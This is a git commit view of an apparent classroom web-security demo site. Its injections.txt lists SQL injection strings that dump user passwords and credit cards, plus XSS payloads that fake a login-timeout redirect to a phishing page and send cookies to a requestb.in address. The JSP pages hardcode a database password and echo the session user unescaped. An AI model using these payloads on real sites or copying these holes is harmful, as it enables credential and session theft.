2018 changes.

mark.george / jetty

Browse code 2018 changes. master
1 parent 5cfffa8 commit 320b51984f597e26d3741a1b5fd6c73404b9b557 Mark George authored on 21 Feb 2019

Patch

Showing 10 changed files

Ignore Space Show notes View .gitignore 0 → 100644
/build/

Ignore Space Show notes View db/users.h2.db
Not supported

Ignore Space Show notes View injections.txt 0 → 100644
http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? 'or 1=1 union select 'WOOHOO!' from users order by name desc; -- // get entire users table 'or 1=1 union select group_concat(username\|\|':'\|\|password\|\|':'\|\|name\|\|':'\|\|credit_card) from users as name order by name desc; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // send cookies to request.bin <script>window.location='https://requestb.in/1jledlk1?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor

Ignore Space Show notes View

injections.txt 0 → 100644

Ignore Space Show notes View web/WEB-INF/jspf/menu.jspf
<div id="menu"> <a href=".">Home</a> <a href="awesome_login.jsp">Log In</a> <a href="login.jsp">Other Log In</a> <a href="create-account.jsp">Create Account</a> <a href="search.jsp">Search</a> <a href="safe_search.jsp">Safe Search</a> </div> <div id="menu"> <a href=".">Home</a> <a href="login.jsp">Log In</a> <a href="awesome_login.jsp">Awesome Log In</a> <a href="create-account.jsp">Create Account</a> <a href="search.jsp">Search</a> <a href="safe_search.jsp">Advanced Search</a> </div>

Ignore Space Show notes View

web/WEB-INF/jspf/menu.jspf

Ignore Space Show notes View web/create-account.jsp
<%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="java.sql." %> <%@page import="org.h2.jdbcx.JdbcConnectionPool" %> <!DOCTYPE html> <html> <% final String url = "jdbc:h2:tcp://localhost/~/work/projects/injection/db/users;IFEXISTS=TRUE"; final String username = "admin"; final String password = "s00per_d00per_s3kret"; JdbcConnectionPool dbPool = JdbcConnectionPool.create(url, username, password); Connection conn = dbPool.getConnection(); %> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Whoops</title> </head> <body> <h1> </h1> </body> </html> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="java.sql." %> <%@page import="org.h2.jdbcx.JdbcConnectionPool" %> <!DOCTYPE html> <html> <% final String url = "jdbc:h2:tcp://localhost/~/work/projects/injection/db/users;IFEXISTS=TRUE"; final String username = "admin"; final String password = "sooper_dooper_sekret"; JdbcConnectionPool dbPool = JdbcConnectionPool.create(url, username, password); Connection conn = dbPool.getConnection(); %> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Whoops</title> </head> <body> <h1> </h1> </body> </html>

Ignore Space Show notes View

web/create-account.jsp

Ignore Space Show notes View web/css/style.css
@import url("forms.css"); /* import forms layout / body { background: rgb(60,60,60); font-family: Arial; font-size: 12pt; } h1 { background: black; color: white; padding: 5px; margin-left:-20px; margin-right:-20px; text-align: center; } #content { border:thick; border-style:solid; border-color:black; border-radius: 25px 25px 25px 25px; / CSS3 / background:rgb(210,210,210); margin-top:10pt; margin-left:auto; margin-right:auto; margin-top:50px; padding: 20px; width:90%; max-width:800px; } table { margin-left:auto; margin-right:auto; position:relative; border-style:none; border-collapse: collapse; width: 90%; } td, th { border:thin; border-width: 1px 0px 1px 0px; border-style: dotted; padding-left: 5px; padding-right: 5px; } th { text-align: left; } div#menu { text-align:center; } div#welcome { text-align: left; } div#images { margin:auto; text-align:center; } div#menu a { border: medium; border-style: solid; border-radius: 10px 10px 10px 10px; background: rgb(200,200,200); text-decoration: none; font-weight: bolder; color: black; padding: 5px; margin: 3px; } input#quantityToAdd { width:3em; margin-right: 10px; } / fieldset fonts/colors/margins / fieldset { border-color:silver; background:rgb(200,200,200); margin:auto; } fieldset legend { color:black; font-weight:bold; } / make input components change color when focused / /input[type="text"]:hover, textarea:hover, select:hover, input[type="password"]:hover, input[type="text"]:focus, textarea:focus, select:focus, input[type="password"]:focus { background-color:#ffff99; border-color:#999999; }/ / numeric table cells / table .currency, table .quantity { text-align:right; } / fieldset widths / fieldset#login { width:245px; } fieldset#createaccount { width:250px; } fieldset#quantitytobuy { width:245px; } img { /display: block;/ margin: auto; } @import url("forms.css"); / import forms layout / body { background: rgb(60,60,60); font-family: Arial; font-size: 12pt; } h1 { background: black; color: white; padding: 5px; margin-left:-20px; margin-right:-20px; text-align: center; } #content { border:thick; border-style:double; border-color:black; border-radius: 25px 25px 25px 25px; / CSS3 / -moz-border-radius: 25px 25px 25px 25px; / Firefox / -webkit-border-radius: 25px 25px 25px 25px; / Webkit (Safari, Chrome) / background:rgb(210,210,210); margin-top:10pt; margin-left:auto; margin-right:auto; margin-top:50px; padding: 20px; width:80%; max-width:800px; } table { margin-left:auto; margin-right:auto; position:relative; border-style:none; border-collapse: collapse; width: 90%; } td, th { border:thin; border-width: 1px 0px 1px 0px; border-style: dotted; padding-left: 5px; padding-right: 5px; } th { text-align: left; } div#menu { text-align:center; } div#welcome { text-align: left; } div#images { margin:auto; text-align:center; } div#menu a { border: medium; border-style: solid; border-radius: 10px 10px 10px 10px; background: rgb(200,200,200); text-decoration: none; font-weight: bolder; color: black; padding: 5px; margin: 3px; } input#quantityToAdd { width:3em; margin-right: 10px; } / fieldset fonts/colors/margins / fieldset { border-color:silver; background:rgb(200,200,200); margin:auto; } fieldset legend { color:black; font-weight:bold; } / make input components change color when focused / /input[type="text"]:hover, textarea:hover, select:hover, input[type="password"]:hover, input[type="text"]:focus, textarea:focus, select:focus, input[type="password"]:focus { background-color:#ffff99; border-color:#999999; }/ / numeric table cells / table .currency, table .quantity { text-align:right; } / fieldset widths */ fieldset#login { width:245px; } fieldset#createaccount { width:250px; } fieldset#quantitytobuy { width:245px; } img { display: block; margin: auto; }

Ignore Space Show notes View

web/css/style.css

@import url("forms.css");  /* import forms layout */

body {
   background: rgb(60,60,60);
   font-family: Arial;
   font-size: 12pt;
}

h1 {
   background: black;
   color: white;
   padding: 5px;
   margin-left:-20px;
   margin-right:-20px;
   text-align: center;
}

#content {
   border:thick;
   border-style:solid;
   border-color:black;
   border-radius: 25px 25px 25px 25px;         /* CSS3 */
   background:rgb(210,210,210);
   margin-top:10pt;
   margin-left:auto;
   margin-right:auto;
   margin-top:50px;
   padding: 20px;
   width:90%;
   max-width:800px;
}

table {
   margin-left:auto;
   margin-right:auto;
   position:relative;
   border-style:none;
   border-collapse: collapse;
   width: 90%;
}

td, th {
   border:thin;
   border-width: 1px 0px 1px 0px;
   border-style: dotted;
   padding-left: 5px;
   padding-right: 5px;
}

th {
   text-align: left;
}

div#menu {
   text-align:center;
}

div#welcome {
   text-align: left;
}

div#images {
   margin:auto;
   text-align:center;
}

div#menu a {
   border: medium;
   border-style: solid;
   border-radius: 10px 10px 10px 10px;
   background: rgb(200,200,200);
   text-decoration: none;
   font-weight: bolder;
   color: black;
   padding: 5px;
   margin: 3px;
}

input#quantityToAdd {
   width:3em;
   margin-right: 10px;
}

/* fieldset fonts/colors/margins */

fieldset {
   border-color:silver;
   background:rgb(200,200,200);
   margin:auto;
}

fieldset legend {
   color:black;
   font-weight:bold;
}

/* make input components change color when focused */

/*input[type="text"]:hover, textarea:hover, select:hover, input[type="password"]:hover,
input[type="text"]:focus, textarea:focus, select:focus, input[type="password"]:focus {
   background-color:#ffff99;
   border-color:#999999;
}*/

/* numeric table cells */

table .currency, table .quantity {
  text-align:right;
}

/* fieldset widths */

fieldset#login {
   width:245px;
}

fieldset#createaccount {
   width:250px;
}

fieldset#quantitytobuy {
   width:245px;
}

img {
   /*display: block;*/
   margin: auto;
}

@import url("forms.css");  /* import forms layout */

body {
   background: rgb(60,60,60);
   font-family: Arial;
   font-size: 12pt;
}

h1 {
   background: black;
   color: white;
   padding: 5px;
   margin-left:-20px;
   margin-right:-20px;
   text-align: center;
}

#content {
   border:thick;
   border-style:double;
   border-color:black;
   border-radius: 25px 25px 25px 25px;         /* CSS3 */
   -moz-border-radius: 25px 25px 25px 25px;    /* Firefox */
   -webkit-border-radius: 25px 25px 25px 25px; /* Webkit (Safari, Chrome) */
   background:rgb(210,210,210);
   margin-top:10pt;
   margin-left:auto;
   margin-right:auto;
   margin-top:50px;
   padding: 20px;
   width:80%;
   max-width:800px;
}

table {
   margin-left:auto;
   margin-right:auto;
   position:relative;
   border-style:none;
   border-collapse: collapse;
   width: 90%;
}

td, th {
   border:thin;
   border-width: 1px 0px 1px 0px;
   border-style: dotted;
   padding-left: 5px;
   padding-right: 5px;
}

th {
   text-align: left;
}

div#menu {
   text-align:center;
}

div#welcome {
   text-align: left;
}

div#images {
   margin:auto;
   text-align:center;
}

input#quantityToAdd {
   width:3em;
   margin-right: 10px;
}

/* fieldset fonts/colors/margins */

fieldset {
   border-color:silver;
   background:rgb(200,200,200);
   margin:auto;
}

fieldset legend {
   color:black;
   font-weight:bold;
}

/* make input components change color when focused */

/* numeric table cells */

table .currency, table .quantity {
  text-align:right;
}

/* fieldset widths */

fieldset#login {
   width:245px;
}

fieldset#createaccount {
   width:250px;
}

fieldset#quantitytobuy {
   width:245px;
}

img {
   display: block;
   margin: auto;
}

Ignore Space Show notes View web/fake-cat.png 0 → 100644

Ignore Space Show notes View web/fake-dog.png 0 → 100644

Ignore Space Show notes View web/index.jsp
<%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="css/style.css"/> <title>Awesome Web Site</title> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Welcome to our awesome web site!</h1> <div id="images"> <img width="250" src="fake-cat.png" alt="Image of cat"/> <img width="250" src="fake-dog.png" alt="Image of dog"/> </div> </div> </body> </html> <%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="css/style.css"/> <title>Awesome Web Site</title> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Welcome to our awesome web site!</h1> <img src="trump.jpg"> </div> </body> </html>

Ignore Space Show notes View

web/index.jsp

Ignore Space Show notes View web/welcome.jsp
<%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="css/style.css"/> <title>Awesome Web Site</title> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <% String user = (String) session.getAttribute("user");%> <h1>Welcome back <%=user%></h1> <div id="images"> <img width="250" src="fake-cat.png" alt="Image of cat"/> <img width="250" src="fake-dog.png" alt="Image of dog"/> </div> </div> </body> </html> <%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" type="text/css" href="css/style.css"/> <title>Awesome Web Site</title> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <% String user = (String) session.getAttribute("user");%> <h1>Welcome back <%=user%></h1> <img src="trump.jpg"> </div> </body> </html>

Ignore Space Show notes View

web/welcome.jsp

Show line notes below